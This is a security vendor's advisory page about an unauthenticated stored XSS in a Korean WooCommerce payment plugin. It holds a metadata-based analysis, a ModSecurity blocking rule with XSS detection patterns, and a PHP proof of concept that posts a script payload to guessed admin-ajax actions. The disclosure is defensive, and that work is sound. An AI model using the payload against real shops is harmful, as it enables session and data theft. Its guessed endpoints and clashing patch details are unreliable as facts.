Published : December 4, 2026

CVE-2026-137040: 우커머스 포트원 플러그인 (국내 모든 PG를 한 번에) <= 3.5.0 Unauthenticated Stored Cross-Site Scripting via 'reason' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.5.0
Patched Version —
Disclosed December 3, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-137040 (metadata-based): This is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the 우커머스 포트원 플러그인 (국내 모든 PG를 한 번에) WordPress plugin, affecting versions up to and including 3.5.0. The flaw resides in the handling of the ‘reason’ parameter, which lacks proper sanitization and output escaping. An attacker can inject arbitrary JavaScript that executes when a victim views an injected page. The CVSS score is 7.2 (High), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N. The scope is changed, indicating the vulnerable component impacts resources beyond its security scope, typical for stored XSS in WordPress plugins. The only access gate is an order-key equality check, which any guest buyer can satisfy using their own order-received URL, requiring no account, nonce, or capability.

Root Cause: Based on CWE-79 and the description, the root cause is insufficient input sanitization and output escaping of the ‘reason’ parameter. Atomic Edge analysis infers that the plugin accepts the ‘reason’ parameter (likely from a form submission or AJAX request) and stores it in the database without sanitizing for XSS. Later, when rendering the stored data, the plugin fails to escape it properly, leading to script execution. The vulnerability is classified as stored XSS because the malicious input persists. The description mentions an order-key equality check as the only gate; this suggests that the vulnerable code path is triggered when a user supplies a valid order key (e.g., from their order-received URL) and a ‘reason’ parameter. The exact code location is not confirmed due to lack of source code diff, but the pattern is typical of plugins that process order-related data. The ‘reason’ parameter is likely part of a cancellation, refund, or order update request. The plugin might use WordPress AJAX actions or direct POST handlers. The lack of sanitization is inferred from the CWE and description; the specific functions not used (e.g., esc_html, wp_kses) are unknown, but the outcome is clear.

Exploitation: An attacker can exploit this by submitting a malicious ‘reason’ parameter value containing JavaScript to a vulnerable endpoint. Atomic Edge research infers the attack vector: the attacker must first obtain a valid order key. Since the description states that any guest buyer can trivially satisfy the order-key equality check using the key from their own order-received URL, the attacker can place a legitimate order (if the plugin allows guest checkout) and complete the purchase to receive an order key. Then, the attacker sends a crafted request to the endpoint that processes the ‘reason’ parameter. The endpoint is likely something like /wp-admin/admin-ajax.php with an action parameter, or a direct POST to a plugin file. Without the exact endpoint, Atomic Edge infers common patterns: the plugin slug ‘iamport-for-woocommerce’ suggests AJAX actions like ‘iamport_update_order_reason’ or similar. The attacker would include parameters such as ‘order_key’ (the valid key) and ‘reason’ (the XSS payload). The payload could be a script tag or event handler, e.g., alert(document.cookie). The stored payload executes in the browser of any user who accesses the page where the reason is displayed, such as an order administration page or a thank-you page. The CVSS vector indicates no privileges required (PR:N) and no user interaction (UI:N) for the attack to succeed? Actually, UI:N means no user interaction required for the attack, but the victim must visit the page. The scope change (S:C) reflects the potential to impact other users.

Remediation: The fix in version 3.5.1 likely addresses the vulnerability by adding proper sanitization and escaping. Based on CWE-79, the plugin should sanitize the ‘reason’ parameter on input using functions like sanitize_text_field() or wp_kses() to strip malicious tags, and escape it on output using esc_html() or esc_attr(). Additionally, the plugin should enforce capability checks and nonce verification for the action, but since the vulnerability is unauthenticated, the primary fix is likely input validation and output escaping. The patch may also restrict access to the vulnerable endpoint by verifying the order key more strictly or by checking user roles. Atomic Edge analysis infers that the developers implemented escaping functions when rendering the ‘reason’ value, and possibly sanitization when saving it. Since the vulnerability is stored XSS, both input and output measures are necessary. The order-key check alone is insufficient because it is easily bypassed by legitimate users.

Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript that executes in the context of any user viewing the injected page. This can lead to session hijacking, theft of sensitive data (e.g., cookies, authentication tokens), defacement of the site, or redirection to malicious sites. Because the scope is changed (S:C), the attacker may be able to perform actions as the victim user, including administrators if they view the injected content. In a WooCommerce context, this could result in theft of payment information, manipulation of orders, or full site compromise if an administrator is targeted. The CVSS score of 7.2 reflects high impact on confidentiality and integrity, with no impact on availability. The unauthenticated nature makes it particularly dangerous as it can be exploited at scale.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-137040 (metadata-based)
# This rule blocks attempts to exploit the stored XSS via the 'reason' parameter.
# It targets POST requests to admin-ajax.php with a 'reason' parameter containing script tags.
# The rule is narrowly scoped to the parameter name and common XSS patterns.
# It assumes the attack uses admin-ajax.php; direct file access would need separate rules, but the metadata does not specify an exact endpoint.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:2026137040,phase:2,deny,status:403,chain,msg:'CVE-2026-137040: Stored XSS via reason parameter in iamport-for-woocommerce plugin',severity:'CRITICAL',tag:'CVE-2026-137040'"
    SecRule ARGS_POST:reason "@rx (<script|javascript:|onw+s*=|alerts*(|document.cookie|evals*()" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-137040 - 우커머스 포트원 플러그인 (국내 모든 PG를 한 번에) <= 3.5.0 - Unauthenticated Stored Cross-Site Scripting via 'reason' Parameter

// This PoC attempts to exploit the stored XSS vulnerability by submitting a malicious 'reason' parameter.
// Assumptions:
// 1. The vulnerable endpoint is likely an AJAX action or a direct POST handler. We assume it's an AJAX action using admin-ajax.php, as is common in WordPress plugins.
// 2. The action name is guessed based on typical naming: 'iamport_update_order_reason' or similar. We'll use a generic approach and try a few common actions.
// 3. The attacker must have a valid order key. This PoC assumes the attacker has already placed an order and obtained an order key from the order-received URL. Replace the placeholder with an actual order key.
// 4. The payload is a simple JavaScript alert to demonstrate execution. In a real attack, it would steal cookies or perform other actions.

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$order_key = 'wc_order_1234567890'; // CHANGE THIS to a valid order key from a guest purchase
$payload = '<script>alert("XSS via reason parameter");</script>'; // XSS payload

// List of possible AJAX actions to try (based on plugin naming conventions)
$possible_actions = [
    'iamport_update_order_reason',
    'iamport_save_reason',
    'iamport_cancel_order',
    'iamport_refund_request',
    'iamport_update_order_status',
    'iamport_process_reason',
];

foreach ($possible_actions as $action) {
    echo "Trying action: $actionn";

    // Prepare POST data with the malicious reason and the order key
    $post_data = [
        'action' => $action,
        'order_key' => $order_key,
        'reason' => $payload,
        // Additional parameters that might be required by the plugin
        'order_id' => '123', // May be needed, but we don't know the order ID; using a placeholder
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    echo "Response code: $http_coden";
    echo "Response body: " . substr($response, 0, 200) . "...nn";

    // Check if the response indicates success (e.g., contains 'success' or does not contain error)
    if (strpos($response, 'success') !== false || $http_code == 200) {
        echo "Potential success with action: $actionn";
        echo "Check if payload is stored and executes. Visit the order page or admin area.n";
        break;
    }
}

echo "PoC completed. Note: This is a blind test. Success must be verified by observing the XSS execution.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.